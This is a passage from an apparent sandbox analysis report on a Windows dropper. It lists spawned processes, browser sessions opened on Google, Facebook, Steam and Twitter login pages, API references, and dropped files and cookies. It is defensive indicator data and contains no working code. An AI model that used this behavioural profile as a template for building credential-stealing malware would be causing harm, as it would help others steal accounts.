00000000-00004012-00000BC1-24868750] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00003072-00000BC1-16871634] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00003344-00000BC1-25962617] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00003628-00000C25-27046392] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll" [Source: 00000000-00003376-00000C25-111737692] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003376-00000C25-112237174] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003376-00000C25-118283693] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003376-00000C25-118529834] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003376-00000C25-120234450] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003376-00000C25-120656261] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003376-00000C25-120739974] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003376-00000C25-122379701] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003376-00000C25-125555635] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00003376-00000C25-125614825] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00003376-00000C25-126943137] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00003376-00000C25-128695796] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003376-00000C25-129590790] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00003376-00000C25-129879091] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00003376-00000C25-130035454] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003376-00000C25-130157786] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00003376-00000C25-132721295] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00003376-00000C25-138722325]50:T737,Spawned process "Ia3cO08.exe" (UID: 00000000-00004012) Spawned process "QX6jY18.exe" (UID: 00000000-00003072) Spawned process "Qb7Pk11.exe" (UID: 00000000-00003344) Spawned process "1gT33kS4.exe" (UID: 00000000-00003628) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003056) Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00002960) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003104) Spawned process "iexplore.exe" with commandline "SCODEF:3056 CREDAT:275457 /prefetch:2" (UID: 00000000-00003732) Spawned process "iexplore.exe" with commandline "https://store.steampowered.com/login/" (UID: 00000000-00001136) Spawned process "iexplore.exe" with commandline "SCODEF:3104 CREDAT:275457 /prefetch:2" (UID: 00000000-00002024) Spawned process "iexplore.exe" with commandline "SCODEF:2960 CREDAT:275457 /prefetch:2" (UID: 00000000-00000388) Spawned process "iexplore.exe" with commandline "https://twitter.com/i/flow/login" (UID: 00000000-00001836) Spawned process "iexplore.exe" with commandline "SCODEF:1136 CREDAT:275457 /prefetch:2" (UID: 00000000-00002300) Spawned process "iexplore.exe" with commandline "SCODEF:1836 CREDAT:275457 /prefetch:2" (UID: 00000000-00004032) Spawned process "2iq2723.exe" (UID: 00000000-00002516) Spawned process "AppLaunch.exe" (UID: 00000000-00003484) Spawned process "7TG93zJ.exe" (UID: 00000000-00002508) Spawned process "iexplore.exe" with commandline "SCODEF:3056 CREDAT:5321730 /prefetch:2" (UID: 00000000-00003080) Spawned process "8Ui694dn.exe" (UID: 00000000-00002772) Spawned process "AppLaunch.exe" (UID: 00000000-00003376) Spawned process "9yR3LL2.exe" (UID: 00000000-00004060) Spawned process "AppLaunch.exe" (UID: 00000000-00001928)51:T737,Spawned process "Ia3cO08.exe" (UID: 00000000-00004012) Spawned process "QX6jY18.exe" (UID: 00000000-00003072) Spawned process "Qb7Pk11.exe" (UID: 00000000-00003344) Spawned process "1gT33kS4.exe" (UID: 00000000-00003628) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003056) Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00002960) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003104) Spawned process "iexplore.exe" with commandline "SCODEF:3056 CREDAT:275457 /prefetch:2" (UID: 00000000-00003732) Spawned process "iexplore.exe" with commandline "https://store.steampowered.com/login/" (UID: 00000000-00001136) Spawned process "iexplore.exe" with commandline "SCODEF:3104 CREDAT:275457 /prefetch:2" (UID: 00000000-00002024) Spawned process "iexplore.exe" with commandline "SCODEF:2960 CREDAT:275457 /prefetch:2" (UID: 00000000-00000388) Spawned process "iexplore.exe" with commandline "https://twitter.com/i/flow/login" (UID: 00000000-00001836) Spawned process "iexplore.exe" with commandline "SCODEF:1136 CREDAT:275457 /prefetch:2" (UID: 00000000-00002300) Spawned process "iexplore.exe" with commandline "SCODEF:1836 CREDAT:275457 /prefetch:2" (UID: 00000000-00004032) Spawned process "2iq2723.exe" (UID: 00000000-00002516) Spawned process "AppLaunch.exe" (UID: 00000000-00003484) Spawned process "7TG93zJ.exe" (UID: 00000000-00002508) Spawned process "iexplore.exe" with commandline "SCODEF:3056 CREDAT:5321730 /prefetch:2" (UID: 00000000-00003080) Spawned process "8Ui694dn.exe" (UID: 00000000-00002772) Spawned process "AppLaunch.exe" (UID: 00000000-00003376) Spawned process "9yR3LL2.exe" (UID: 00000000-00004060) Spawned process "AppLaunch.exe" (UID: 00000000-00001928)52:T622,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "8Ui694dn.exe.2191842284") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")53:T6009,"Ia3cO08.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Ia3cO08.exe]- [targetUID: 00000000-00003396] "1gT33kS4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\1gT33kS4.exe]- [targetUID: 00000000-00003628] "QX6jY18.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\QX6jY18.exe]- [targetUID: 00000000-00003072] "Qb7Pk11.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\Qb7Pk11.exe]- [targetUID: 00000000-00003072] "9yR3LL2.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\9yR3LL2.exe]- [targetUID: 00000000-00004060] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "8Ui694dn.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\8Ui694dn.exe]- [targetUID: 00000000-00004012] "2iq2723.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\2iq2723.exe]- [targetUID: 00000000-00002516] "7TG93zJ.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\7TG93zJ.exe]- [targetUID: 00000000-00003072] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "9DFE38F0CF4E54F251E86E53D05E8885" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\9DFE38F0CF4E54F251E86E53D05E8885]- [targetUID: 00000000-00004032] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "76C4A5585D9099B27A68C7AA37A47AE7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\76C4A5585D9099B27A68C7AA37A47AE7]- [targetUID: 00000000-00003080] "I2XI96YB.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\I2XI96YB.htm]- [targetUID: 00000000-00003056] "urlref_httpstwitter.comiflowlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "CheckConnection_2_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "urlref_httpsstore.steampowered.comlogin" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "imagestore.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00000388] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "en-US.4" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00003056] "~DF0046C12E78F31D0D.TMP" has type "data"- [targetUID: N/A] "~DF7842D18973D07F5F.TMP" has type "data"- Location: [%TEMP%\~DF7842D18973D07F5F.TMP]- [targetUID: 00000000-00003104] "~DF491CAD3168313FA7.TMP" has type "data"- [targetUID: N/A] "~DFE257DCF33B171646.TMP" has type "data"- Location: [%TEMP%\~DFE257DCF33B171646.TMP]- [targetUID: 00000000-00001836] "~DF07CD1C404EA2535C.TMP" has type "data"- Location: [%TEMP%\~DF07CD1C404EA2535C.TMP]- [targetUID: 00000000-00002960] "~DF991BBF5047903261.TMP" has type "data"- Location: [%TEMP%\~DF991BBF5047903261.TMP]- [targetUID: 00000000-00003056] "~DF9FBD5A53893D579D.TMP" has type "data"- [targetUID: N/A] "~DF745532ABF1EF9B3B.TMP" has type "data"- Location: [%TEMP%\~DF745532ABF1EF9B3B.TMP]- [targetUID: 00000000-00003056] "~DF5E96571F03B852C9.TMP" has type "data"- [targetUID: N/A] "~DFCEF6E8D5BD49EC7D.TMP" has type "data"- Location: [%TEMP%\~DFCEF6E8D5BD49EC7D.TMP]- [targetUID: 00000000-00003056] "~DF2B58C5F7ECA0A48B.TMP" has type "data"- [targetUID: N/A] "~DF96C3EA7F3ADC7216.TMP" has type "data"- Location: [%TEMP%\~DF96C3EA7F3ADC7216.TMP]- [targetUID: 00000000-00002960] "~DF607CDB527F74F6C5.TMP" has type "data"- Location: [%TEMP%\~DF607CDB527F74F6C5.TMP]- [targetUID: 00000000-00003056] "~DF20C02C07E2AD11A4.TMP" has type "data"- [targetUID: N/A] "~DF180CD998208A178C.TMP" has type "data"- [targetUID: N/A] "70DAE932E3BCB3C00656A27B544BA9CA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00000388] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- [targetUID: 00000000-00000388] "httpErrorPagesScripts_1_" has type "UTF-8 Unicode (with BOM) text with CRLF line terminators"- [targetUID: N/A] "_F0D56345-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_F6F169E2-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._F4EC0B99-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._F0D56343-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._F092A16B-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._F2F036B7-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._F02E7EA7-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_4_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00000388] "_5B7BA724-8187-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_FDE66680-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_F02E7EA9-8186-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_2A32109A-8187-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_77B28B33-8187-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_018F62AA-8187-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_2AB2CF96-8187-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_28F9BC8C-8187-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_8FD6DF34-8199-11EE-A285-080027EDC9F5_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_3_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "errorPageStrings_1_" has type "UTF-8 Unicode (with BOM) text with CRLF line terminators"- [targetUID: N/A] "B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62]- [targetUID: 00000000-00003080] "dnserror_1_" has type "HTML document UTF-8 Unicode (with BOM) text with CRLF line terminators"- [targetUID: N/A] "646C991C2A28825F3CC56E0A1D1E3FA9" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\646C991C2A28825F3CC56E0A1D1E3FA9]- [targetUID: 00000000-00000388] "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894]- [targetUID: 00000000-00003080] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00000388] "75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656]- [targetUID: 00000000-00003080] "NewErrorPageTemplate_1_" has type "UTF-8 Unicode (with BOM) text with CRLF line terminators"- [targetUID: N/A] "0AB67BD4882FB0E09822529CFEB33A58" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0AB67BD4882FB0E09822529CFEB33A58]- [targetUID: 00000000-00001136] "logo46x38_1_.png" has type "PNG image data 46 x 38 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- [targetUID: 00000000-00000388] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00000388] "0270780F846F08BEFE0DD8112D932FEF" has type "data"- [targetUID: 00000000-00000388] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00000388] "620BEF1064BD8E252C599957B3C91896" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\620BEF1064BD8E252C599957B3C91896]- [targetUID: 00000000-00003080] "395PO1ZE.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\395PO1ZE.txt]- [targetUID: 00000000-00003080] "O8488WY0.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\O8488WY0.txt]- [targetUID: 00000000-00003056] "A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8]- [targetUID: 00000000-00000388] "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00002300] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00004032] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00001136] "35DDEDF268117918D1D277A171D8DF7B_AC693A3BC934207B4DB286C3ABFA06F1" has type "data"- [targetUID: 00000000-00000388] "F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79]- [targetUID: 00000000-00003080] "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD]- [targetUID: 00000000-00004032] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00000388] "F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC]- [targetUID: 00000000-00003732] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- [targetUID: 00000000-00000388] "U1X2B75C.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\U1X2B75C.txt]- [targetUID: 00000000-00003056] "B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62]- [targetUID: 00000000-00003080] "75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656]- [targetUID: 00000000-00003080] "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894]- [targetUID: 00000000-00003080] "F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79]- [targetUID: 00000000-00003080] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00004032] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00001136] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00000388] "A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8]- [targetUID: 00000000-00000388] "F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC]- [targetUID: 00000000-00003732] "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD]- [targetUID: 00000000-00004032] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00000388] "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00002300] "6JLKE8MO.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\6JLKE8MO.txt]- [targetUID: 00000000-00004032] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00000388] "FWAKEJFF.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\FWAKEJFF.txt]- [targetUID: 00000000-00003080] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00000388] "KX8CCQRS.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\KX8CCQRS.txt]- [targetUID: 00000000-00004032] "1E2DBD58769A756A24A9D033F9B07F3D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\1E2DBD58769A756A24A9D033F9B07F3D]- [targetUID: 00000000-00004032] "9DFE38F0CF4E54F251E86E53D05E8885" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\9DFE38F0CF4E54F251E86E53D05E8885]- [targetUID: 00000000-00004032] "620BEF1064BD8E252C599957B3C91896" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\620BEF1064BD8E252C599957B3C91896]- [targetUID: 00000000-00003080] "0270780F846F08BEFE0DD8112D932FEF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00000388] "TZBR1PQH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\TZBR1PQH.txt]- [targetUID: 00000000-00003080] "8A7891822FCFF127E4EADADE9757112B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B]- [targetUID: 00000000-00001136] "0AB67BD4882FB0E09822529CFEB33A58" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\0AB67BD4882FB0E09822529CFEB33A58]- 